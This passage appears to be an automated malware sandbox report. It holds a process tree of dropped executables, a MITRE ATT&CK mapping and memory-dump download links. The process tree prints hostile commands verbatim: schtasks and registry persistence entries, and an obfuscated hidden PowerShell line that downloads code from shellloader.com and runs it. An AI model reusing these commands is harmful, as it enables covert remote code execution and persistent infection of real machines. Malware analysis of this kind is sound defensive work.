        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:6436
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:7044
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:2144
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:6156
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:5452
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:7488
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:8168
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:7228
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:8712
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:7848
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:8960
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:8392
    - - C:\Users\Admin\Documents\j11xS3_BCumu_H4g6MiJjfBd.exe
        
        "C:\Users\Admin\Documents\j11xS3_BCumu_H4g6MiJjfBd.exe"
        5⤵
        
        PID:5612
    - - C:\Users\Admin\Documents\VJZQxkVKshq005qxqu5NCpo7.exe
        
        "C:\Users\Admin\Documents\VJZQxkVKshq005qxqu5NCpo7.exe"
        5⤵
        
        PID:5196
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        
        PID:5804
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        7⤵
        
        PID:5108
    - - C:\Users\Admin\Documents\uIC0blV8iQxpLCGQmayFnSIC.exe
        
        "C:\Users\Admin\Documents\uIC0blV8iQxpLCGQmayFnSIC.exe"
        5⤵
        
        PID:204
      - C:\Users\Admin\AppData\Roaming\2496920.exe
        
        "C:\Users\Admin\AppData\Roaming\2496920.exe"
        6⤵
        
        PID:7544
      - C:\Users\Admin\AppData\Roaming\8456642.exe
        
        "C:\Users\Admin\AppData\Roaming\8456642.exe"
        6⤵
        
        PID:4672
      - C:\Users\Admin\AppData\Roaming\4696576.exe
        
        "C:\Users\Admin\AppData\Roaming\4696576.exe"
        6⤵
        
        PID:7916
      - C:\Users\Admin\AppData\Roaming\8770942.exe
        
        "C:\Users\Admin\AppData\Roaming\8770942.exe"
        6⤵
        
        PID:7632
    - - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        "C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe"
        5⤵
        
        PID:5980
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:4236
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:6544
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:7144
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:6824
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:6224
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:2132
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:7532
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:7280
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:7828
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:8840
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:7412
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:9048
      - C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        
        C:\Users\Admin\Documents\twLJf5l6BS2zuhFih9FLKN6W.exe
        6⤵
        
        PID:6000
    - - C:\Users\Admin\Documents\ez4zsjjYtUDM5O7sz4ysXzIw.exe
        
        "C:\Users\Admin\Documents\ez4zsjjYtUDM5O7sz4ysXzIw.exe"
        5⤵
        
        PID:1428
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:8220
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:8980
    - - C:\Users\Admin\Documents\Ig5gpU1091AhSUaIAvn9fDUq.exe
        
        "C:\Users\Admin\Documents\Ig5gpU1091AhSUaIAvn9fDUq.exe"
        5⤵
        
        PID:2564
      - C:\Users\Admin\Documents\Ig5gpU1091AhSUaIAvn9fDUq.exe
        
        "C:\Users\Admin\Documents\Ig5gpU1091AhSUaIAvn9fDUq.exe" -u
        6⤵
        
        PID:2324
    - - C:\Users\Admin\Documents\vbgu65h3Cl44gwpy6BFq6EGN.exe
        
        "C:\Users\Admin\Documents\vbgu65h3Cl44gwpy6BFq6EGN.exe"
        5⤵
        
        PID:4908
      - C:\Users\Admin\AppData\Roaming\8106348.exe
        
        "C:\Users\Admin\AppData\Roaming\8106348.exe"
        6⤵
        
        PID:7660
      - C:\Users\Admin\AppData\Roaming\4303655.exe
        
        "C:\Users\Admin\AppData\Roaming\4303655.exe"
        6⤵
        
        PID:8124
      - C:\Users\Admin\AppData\Roaming\4722992.exe
        
        "C:\Users\Admin\AppData\Roaming\4722992.exe"
        6⤵
        
        PID:7640
      - C:\Users\Admin\AppData\Roaming\7349243.exe
        
        "C:\Users\Admin\AppData\Roaming\7349243.exe"
        6⤵
        
        PID:8196
    - - C:\Users\Admin\Documents\_fIB0wcBh4wrI_ASEIjOIy2S.exe
        
        "C:\Users\Admin\Documents\_fIB0wcBh4wrI_ASEIjOIy2S.exe"
        5⤵
        
        PID:1844
    - - C:\Users\Admin\Documents\LAHMnd1X3LD9KOTqlrVo3HSd.exe
        
        "C:\Users\Admin\Documents\LAHMnd1X3LD9KOTqlrVo3HSd.exe"
        5⤵
        
        PID:212
    - - C:\Users\Admin\Documents\yZ5oueib4HGl33Wrp_3QWQhU.exe
        
        "C:\Users\Admin\Documents\yZ5oueib4HGl33Wrp_3QWQhU.exe"
        5⤵
        
        PID:5296
    - - C:\Users\Admin\Documents\s_1gByts516QHtRFs3B9MESo.exe
        
        "C:\Users\Admin\Documents\s_1gByts516QHtRFs3B9MESo.exe"
        5⤵
        
        PID:5584
      - C:\Users\Admin\Documents\s_1gByts516QHtRFs3B9MESo.exe
        
        "C:\Users\Admin\Documents\s_1gByts516QHtRFs3B9MESo.exe"
        6⤵
        
        PID:4180
    - - C:\Users\Admin\Documents\ZVRSaaHQxPVpnAwItJNIrCwI.exe
        
        "C:\Users\Admin\Documents\ZVRSaaHQxPVpnAwItJNIrCwI.exe"
        5⤵
        
        PID:3036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed0677c055f84f3.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4536

C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed0677c055f84f3.exe
Wed0677c055f84f3.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:604
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  PID:2808
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    PID:3148
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:4020
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:7224
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:3984
- - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
    3⤵
    PID:528
  - - C:\Users\Admin\AppData\Local\Temp\is-2JPFU.tmp\setup_2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-2JPFU.tmp\setup_2.tmp" /SL5="$3019C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
      4⤵
      PID:2572
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    PID:4184
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 804
      4⤵
      Program crash
      PID:5232
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 840
      4⤵
      Program crash
      PID:5728
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 884
      4⤵
      Program crash
      PID:6020
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 956
      4⤵
      Program crash
      PID:5384
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 960
      4⤵
      Program crash
      PID:4552
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 1076
      4⤵
      Program crash
      PID:4448
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 1064
      4⤵
      Program crash
      PID:2300
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    PID:1280
- - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
    3⤵
    PID:832
- - C:\Users\Admin\AppData\Local\Temp\3002.exe
    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
    3⤵
    PID:4168
  - - C:\Users\Admin\AppData\Local\Temp\3002.exe
      "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
      4⤵
      PID:5604
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    PID:4028
  - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
      4⤵
      PID:1552
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 352
        5⤵
        Program crash
        
        PID:7008
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 364
        5⤵
        Program crash
        
        PID:1700
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 216
        5⤵
        Program crash
        
        PID:7412
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 596
        5⤵
        Program crash
        
        PID:5648
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 632
        5⤵
        Program crash
        
        PID:9112
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
    3⤵
    PID:4656
  - - C:\Users\Admin\AppData\Roaming\6725437.exe
      "C:\Users\Admin\AppData\Roaming\6725437.exe"
      4⤵
      PID:6316
  - - C:\Users\Admin\AppData\Roaming\4432161.exe
      "C:\Users\Admin\AppData\Roaming\4432161.exe"
      4⤵
      PID:6464
  - - C:\Users\Admin\AppData\Roaming\4013451.exe
      "C:\Users\Admin\AppData\Roaming\4013451.exe"
      4⤵
      PID:6412
  - - C:\Users\Admin\AppData\Roaming\3656525.exe
      "C:\Users\Admin\AppData\Roaming\3656525.exe"
      4⤵
      PID:6992
  - - C:\Users\Admin\AppData\Roaming\1623505.exe
      "C:\Users\Admin\AppData\Roaming\1623505.exe"
      4⤵
      PID:7052

C:\Users\Admin\AppData\Local\Temp\is-BBJQP.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BBJQP.tmp\setup_2.tmp" /SL5="$70038,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
1⤵
PID:4672
- C:\Users\Admin\AppData\Local\Temp\is-8KF2D.tmp\postback.exe
  "C:\Users\Admin\AppData\Local\Temp\is-8KF2D.tmp\postback.exe" ss1
  2⤵
  PID:5936
- - C:\Windows\SysWOW64\explorer.exe
    explorer.exe ss1
    3⤵
    PID:3952
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
      4⤵
      PID:6560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        5⤵
        
        PID:924
  - - C:\Users\Admin\AppData\Local\Temp\CWgTCNhqk.exe
      "C:\Users\Admin\AppData\Local\Temp\CWgTCNhqk.exe"
      4⤵
      PID:7196
    - - C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
        5⤵
        
        PID:8820
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        6⤵
        
        PID:8368
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:8568

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3388
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5216

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
1⤵
PID:204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/204-289-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/204-497-0x0000000000940000-0x0000000000942000-memory.dmp

Filesize
8KB

Download
memory/224-177-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/380-354-0x000002192CB40000-0x000002192CBB4000-memory.dmp

Filesize
464KB

Download
memory/528-242-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/604-180-0x000000001B700000-0x000000001B702000-memory.dmp

Filesize
8KB

Download
memory/604-171-0x0000000000A10000-0x0000000000A11000-memory.dmp

Filesize
4KB

Download
memory/760-309-0x000000000A2B0000-0x000000000A2B1000-memory.dmp

Filesize
4KB

Download
memory/760-308-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

Filesize
4KB

Download
memory/832-271-0x0000000000600000-0x0000000000601000-memory.dmp

Filesize
4KB

Download
memory/832-281-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Filesize
4KB

Download
memory/924-437-0x00000000001E0000-0x00000000001EE000-memory.dmp

Filesize
56KB

Download
memory/924-466-0x0000000000400000-0x0000000002CBE000-memory.dmp

Filesize
40.7MB

Download
memory/1076-373-0x000001F0FFD00000-0x000001F0FFD74000-memory.dmp

Filesize
464KB

Download
memory/1128-370-0x00000217CE600000-0x00000217CE674000-memory.dmp

Filesize
464KB

Download
memory/1144-192-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1192-216-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Filesize
4KB

Download
memory/1192-246-0x000000001BB30000-0x000000001BB32000-memory.dmp

Filesize
8KB

Download
memory/1192-230-0x0000000001680000-0x00000000016CA000-memory.dmp

Filesize
296KB

Download
memory/1196-468-0x0000000000400000-0x0000000002B59000-memory.dmp

Filesize
39.3MB

Download
memory/1196-448-0x0000000002B60000-0x0000000002CAA000-memory.dmp

Filesize
1.3MB

Download
memory/1228-389-0x0000024809B50000-0x0000024809BC4000-memory.dmp

Filesize
464KB

Download
memory/1340-390-0x000001DDF05D0000-0x000001DDF0644000-memory.dmp

Filesize
464KB

Download
memory/1456-360-0x0000021710F80000-0x0000021710FF4000-memory.dmp

Filesize
464KB

Download
memory/1932-368-0x000001EA9A640000-0x000001EA9A6B4000-memory.dmp

Filesize
464KB

Download
memory/2272-128-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2272-135-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2272-129-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2272-140-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2272-136-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2272-130-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/2272-145-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2548-363-0x000002B6C6CA0000-0x000002B6C6D14000-memory.dmp

Filesize
464KB

Download
memory/2572-276-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/2580-366-0x000001AEF4A60000-0x000001AEF4AD4000-memory.dmp

Filesize
464KB

Download
memory/2760-391-0x000001F1CFDA0000-0x000001F1CFE14000-memory.dmp

Filesize
464KB

Download
memory/2792-395-0x000001D3F5C80000-0x000001D3F5CF4000-memory.dmp

Filesize
464KB

Download
memory/2808-197-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

Download
memory/2844-337-0x0000015DC5200000-0x0000015DC5274000-memory.dmp

Filesize
464KB

Download
memory/3016-326-0x0000000000DA0000-0x0000000000DB5000-memory.dmp

Filesize
84KB

Download
memory/3148-412-0x0000000003360000-0x0000000003362000-memory.dmp

Filesize
8KB

Download
memory/3148-204-0x0000000000E70000-0x0000000000E71000-memory.dmp

Filesize
4KB

Download
memory/3196-295-0x0000000003E90000-0x0000000003F63000-memory.dmp

Filesize
844KB

Download
memory/3196-293-0x0000000000400000-0x00000000021DA000-memory.dmp

Filesize
29.9MB

Download
memory/3268-483-0x0000000004CC0000-0x0000000004CC1000-memory.dmp

Filesize
4KB

Download
memory/3544-334-0x0000000005350000-0x0000000005351000-memory.dmp

Filesize
4KB

Download
memory/3544-314-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/3544-313-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

Filesize
1.6MB

Download
memory/3900-239-0x00000000095D0000-0x00000000095D1000-memory.dmp

Filesize
4KB

Download
memory/3900-236-0x0000000000BE0000-0x0000000000BEC000-memory.dmp

Filesize
48KB

Download
memory/3900-222-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/3900-247-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

Filesize
4KB

Download
memory/3900-233-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

Filesize
4KB

Download
memory/3900-249-0x00000000045A0000-0x00000000045A1000-memory.dmp

Filesize
4KB

Download
memory/3952-416-0x00000000003A0000-0x00000000003E3000-memory.dmp

Filesize
268KB

Download
memory/4028-237-0x000000001B8F0000-0x000000001B8F2000-memory.dmp

Filesize
8KB

Download
memory/4028-224-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Filesize
4KB

Download
memory/4184-303-0x0000000000540000-0x000000000068A000-memory.dmp

Filesize
1.3MB

Download
memory/4184-306-0x0000000000400000-0x0000000000535000-memory.dmp

Filesize
1.2MB

Download
memory/4232-250-0x0000000000860000-0x0000000000861000-memory.dmp

Filesize
4KB

Download
memory/4232-291-0x0000000007660000-0x0000000007661000-memory.dmp

Filesize
4KB

Download
memory/4232-282-0x0000000005270000-0x0000000005271000-memory.dmp

Filesize
4KB

Download
memory/4232-263-0x0000000002940000-0x000000000296E000-memory.dmp

Filesize
184KB

Download
memory/4232-277-0x0000000007C30000-0x0000000007C31000-memory.dmp

Filesize
4KB

Download
memory/4232-290-0x0000000005290000-0x0000000005291000-memory.dmp

Filesize
4KB

Download
memory/4232-285-0x0000000007730000-0x0000000007731000-memory.dmp

Filesize
4KB

Download
memory/4360-470-0x0000000002D20000-0x0000000002DF3000-memory.dmp

Filesize
844KB

Download
memory/4368-201-0x0000000007E20000-0x0000000007E21000-memory.dmp

Filesize
4KB

Download
memory/4368-200-0x00000000069A0000-0x00000000069A1000-memory.dmp

Filesize
4KB

Download
memory/4368-235-0x0000000007E70000-0x0000000007E71000-memory.dmp

Filesize
4KB

Download
memory/4368-193-0x00000000076B0000-0x00000000076B1000-memory.dmp

Filesize
4KB

Download
memory/4368-179-0x0000000006D30000-0x0000000006D31000-memory.dmp

Filesize
4KB

Download
memory/4368-178-0x0000000001192000-0x0000000001193000-memory.dmp

Filesize
4KB

Download
memory/4368-191-0x0000000007400000-0x0000000007401000-memory.dmp

Filesize
4KB

Download
memory/4368-188-0x0000000007360000-0x0000000007361000-memory.dmp

Filesize
4KB

Download
memory/4368-182-0x0000000001190000-0x0000000001191000-memory.dmp

Filesize
4KB

Download
memory/4368-358-0x000000007FB70000-0x000000007FB71000-memory.dmp

Filesize
4KB

Download
memory/4368-397-0x0000000001193000-0x0000000001194000-memory.dmp

Filesize
4KB

Download
memory/4368-189-0x0000000007640000-0x0000000007641000-memory.dmp

Filesize
4KB

Download
memory/4368-176-0x00000000011E0000-0x00000000011E1000-memory.dmp

Filesize
4KB

Download
memory/4576-283-0x0000000000B30000-0x0000000000B31000-memory.dmp

Filesize
4KB

Download
memory/4576-305-0x0000000005350000-0x000000000538E000-memory.dmp

Filesize
248KB

Download
memory/4576-296-0x0000000001280000-0x0000000001281000-memory.dmp

Filesize
4KB

Download
memory/4576-310-0x0000000005510000-0x0000000005511000-memory.dmp

Filesize
4KB

Download
memory/4576-307-0x0000000001570000-0x0000000001571000-memory.dmp

Filesize
4KB

Download
memory/4580-273-0x0000000004170000-0x00000000042AF000-memory.dmp

Filesize
1.2MB

Download
memory/4588-299-0x0000000000400000-0x0000000002167000-memory.dmp

Filesize
29.4MB

Download
memory/4588-284-0x0000000002170000-0x00000000022BA000-memory.dmp

Filesize
1.3MB

Download
memory/4608-174-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/4608-183-0x00000000024D0000-0x00000000024E8000-memory.dmp

Filesize
96KB

Download
memory/4608-190-0x000000001AFA0000-0x000000001AFA2000-memory.dmp

Filesize
8KB

Download
memory/4656-214-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/4656-228-0x0000000000700000-0x0000000000718000-memory.dmp

Filesize
96KB

Download
memory/4656-243-0x000000001AF10000-0x000000001AF12000-memory.dmp

Filesize
8KB

Download
memory/4672-312-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4900-327-0x000001B9DE4C0000-0x000001B9DE534000-memory.dmp

Filesize
464KB

Download
memory/4900-324-0x000001B9DE400000-0x000001B9DE44D000-memory.dmp

Filesize
308KB

Download
memory/5216-322-0x0000000000BE0000-0x0000000000CE1000-memory.dmp

Filesize
1.0MB

Download
memory/5216-330-0x0000000000DA0000-0x0000000000DFF000-memory.dmp

Filesize
380KB

Download
memory/5552-338-0x0000014280700000-0x0000014280774000-memory.dmp

Filesize
464KB

Download
memory/5772-433-0x0000000004950000-0x0000000004E4E000-memory.dmp

Filesize
5.0MB

Download
memory/5776-451-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

Filesize
1.6MB

Download
memory/5808-477-0x0000000005750000-0x0000000005751000-memory.dmp

Filesize
4KB

Download
memory/6068-464-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

Filesize
1.6MB

Download
memory/6088-474-0x0000000002170000-0x000000000221E000-memory.dmp

Filesize
696KB

Download